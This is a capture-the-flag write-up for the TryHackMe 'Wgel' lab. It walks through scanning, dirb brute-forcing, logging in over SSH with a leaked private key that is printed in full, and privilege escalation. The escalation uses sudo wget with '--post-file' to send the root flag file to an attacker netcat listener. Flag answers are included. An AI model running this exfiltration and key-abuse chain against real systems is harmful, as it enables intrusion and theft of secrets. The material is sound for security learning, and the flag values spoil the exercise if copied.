

Information

- **CTF Name:** Wgel CTF
- **CTF Level:** Easy
- **CTF Description:** Can you exfiltrate the root flag?
- **Date:** 16/09/2025
- **Platform:** TRYHACKME
- **Category:** Machine

step 1: Scanning the target ip

nmap scan with srvice and version ,skip host discovery(no ping) : nmap -sV -Pn 10.10.65.37

```
root@ip-10-10-157-91:~# nmap -sV -Pn 10.10.49.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-17 07:44 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.49.7
Host is up (0.00052s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 02:33:C5:85:B8:F1 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds
```

nmap scan

as we see from above two ports are open.HTTP and SSH,open http indicates the existance of web page.it is apache2 ubuntu default page now look at the source page to gather some information

```

241 maintenance.
242     If the problem persists, please contact the site's administrator.
243 
244 
```

some part of apache2 source page

Step 2 Directory Bruteforce

Dirb is directory bruteforce that use around 4,612 word to perform bruteforcing

File Edit View Search Terminal Help

```
root@ip-10-10-157-91:~# dirb http://10.10.49.7
```

```
-----  
DIRB v2.22
```

```
By The Dark Raver  
-----
```

```
START_TIME: Wed Sep 17 07:36:41 2025
```

```
URL_BASE: http://10.10.49.7/
```

```
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
```

```
-----  
GENERATED WORDS: 4612
```

```
---- Scanning URL: http://10.10.49.7/ ----
```

```
+ http://10.10.49.7/index.html (CODE:200|SIZE:11374)
```

```
+ http://10.10.49.7/server-status (CODE:403|SIZE:275)
```

```
==> DIRECTORY: http://10.10.49.7/sitemap/
```

```
---- Entering directory: http://10.10.49.7/sitemap/ ----
```

```
==> DIRECTORY: http://10.10.49.7/sitemap/.ssh/
```

```
==> DIRECTORY: http://10.10.49.7/sitemap/css/
```

```
==> DIRECTORY: http://10.10.49.7/sitemap/fonts/
```

```
==> DIRECTORY: http://10.10.49.7/sitemap/images/
```

```
+ http://10.10.49.7/sitemap/index.html (CODE:200|SIZE:21080)
```

Directory Bruetforce

key directory come accross while we perform bruteforceing.it is <http://10.10.49.7/.ssh/>

Index of /sitemap/.ssh



<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 id_rsa	2019-10-26 09:24	1.6K	

Apache/2.4.18 (Ubuntu) Server at 10.10.49.7 Port 80

I clicked on the id_rsa directory and it showed me a private ssh key. Which can be used to log into ssh without a password

```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2mujeBv3MEQFCe18yvvgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAquy30lSp5jH/bhcvYLSK+T9zEdzHmjKDtZN2cYgwHw0dDadSXWFf9W2gc3x
69vjkHLJs+lQi0bEJvqpCZ1rFFSpV00jVYRxQ4KfAawBsCG6lA7G07vLZPRiKsP
4lg2StXQYuZ0cUvx8UkhpgxWy/009ceMNondU61kyHafKobJP7Py5QnH7cP/psr
J5M/fVBoKPcPXa7lmA/ZUioimChBPV/i/0za0FzVuJZdnSPtS7LzPjYFqxnM/BH
Wo/Lm1n4FLzLb1T31p0oTtTKuUQWxHf7cN8v6QIDAQABAoIBAFZDKpV2HgL+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbAfwCjwCgZXUb9mFoNI2Ic4PsPjbqyC02LmE
AnAhHKQNeU0n3ymGJEU9iJMjigb5xZGwX0FBoUJCs9QJMBBZthWyLlJUKic7GvPa
M7QYKP51VCilj3GrOd1ygFSRkP6jZp0pM33dG1/ubom70WDZPDS9AjA0kYuJBobG
SUM+uxh7JJn8uM9J4NvQPkc10RIXFYECwNW+iHsB0CWlcF7CAZAbWLsJgd6TcGTV
2KBA6YcfGXN0b49CF0BMLBY/dcWpHu+d0KcruHTeTnM7aLdrexpiMJ3XHVQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evJEA5uTCsDzmsDj
7pU08zziTXgeDENrcz1uo0e3bL13MiZeFe9HQNMpVOX+vEaCZd6ZNFbJ4R889D7I
dcXDvkNRbw42Zwx8TawzwXFVhn8Rs9fMwPlbdVh9f9h7papfGN2FoeECgYEA4EIy
GW9eJnl0tzL31TpW2lnJ+KYCRilucQUnBtQLWdTncUkm+LBS5Z6dGxEcwCrYY1fh
shl66KulTmE3G9nFPKczCwd7jFwmUUK0hX6Sog7VRQZw72cmp7lyb1KRQ9A0Nb97
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMkrxN2TK3f3LPFgST8K+N
LaIN000Q622e8TnFkmee8AV9lPp7ewfG2tJHklgw0IXx4Da8oo466QiFBb74kN3u
QJkSaIdWAnh0G/dqD63fbBP95lkS7cEkokLWSNhwkffUuDeIpy0R6JuKfbXTFKBW
V35mEHIidDqtCyC/gzDKIQKBgDE+d+/b46nBK976oy9AY0gJRW+DTKYuI4FP51T5
hRCRzsyios7dMiVPtxtsomEHwYZiybnr3SeFGuUrlw/Qq9iB8/ZMckMGbxoUGmr
9Jj/dtd0ZaI8XWGhMokncVyZwI044ftoRcCQ+a2G4oeG8ffG2ZtW2tWT40pebIsu
eyq5AoGBANck0aWnitoMTdWZ5d+WNNCqcztoNppuoMaG7L3smUSBz6k8J4p4yDPb
QNF1fedE0vsguMlpNgvcWVXGINgo00USJTxCrQFy/onH6X1T50AAW6/UXc4S7Vsg
```

I just copied it into a file and made sure to change it's file permissions to 600, because it won't work without certain permissions.

```
nano rsa
```

```
chmod 600 id_rsa
```

- Exploit

Now we can log in through ssh

```
ssh -i rsa jessie@[ip]
```

username found from website page source

```
root@ip-10-10-178-134:~# sudo ssh -i id_rsa jessie@10.10.236.38
sudo: unable to resolve host ip-10-10-178-134: Name or service not known
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

8 packages can be updated.
8 updates are security updates.

jessie@CorpOne:~$
```

Now , we got low-level access so we can access user flag.

```
jessie@CorpOne:~$ find -name "user*"
./local/share/keyrings/user.keystore
./config/user-dirs.locale
./config/user-dirs.dirs
./config/dconf/user
./Documents/user_flag.txt
jessie@CorpOne:~$ cat ./Documents/user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6
```

To find root flag we need escalate your privilege to the highest level.

Privilege escalation

The first thing we should is to check the Sudo permissions, what we can run as root:

```
jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
```

Okay, we now know that we can run wget as root, let's search for it GFTO.

Starting listener

Use netcat to start listener.

```
nc -lvp 800
```

The above command is used to set up a netcat listener on port 3344. Netcat is a versatile networking utility, and this command specifies the following options:

- ****l**** : option tells netcat to listen for incoming connections.
- ****v**** : stands for "verbose" and makes netcat display more information about the connection.
- ****p 800**** : specifies the port number, in my case it's port 800.

```
root@ip-10-10-83-228:~# nc -lvp 800
Listening on 0.0.0.0 800
```

Now, Finally use wget command to get root flag through listener.

sudo /usr/bin/wget --post-file=/root/root_flag.txt <http://10.8.180.91:800>

```
jessie@CorpOne:~$ sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.4.2.165:800/  
--2025-09-23 21:42:58-- http://10.4.2.165:800/  
Connecting to 10.4.2.165:800... connected.  
HTTP request sent, awaiting response...
```

We got the root flag.

```
$ nc -lvp 800  
listening on [any] 800 ...  
10.10.50.129: inverse host lookup failed: Unknown host  
connect to [10.4.2.165] from (UNKNOWN) [10.10.50.129] 5720  
POST / HTTP/1.1  
User-Agent: Wget/1.17.1 (linux-gnu)  
Accept: */*  
Accept-Encoding: identity  
Host: 10.4.2.165:800  
Connection: Keep-Alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 33  
  
b1b968b37519ad1daa6408188649263d
```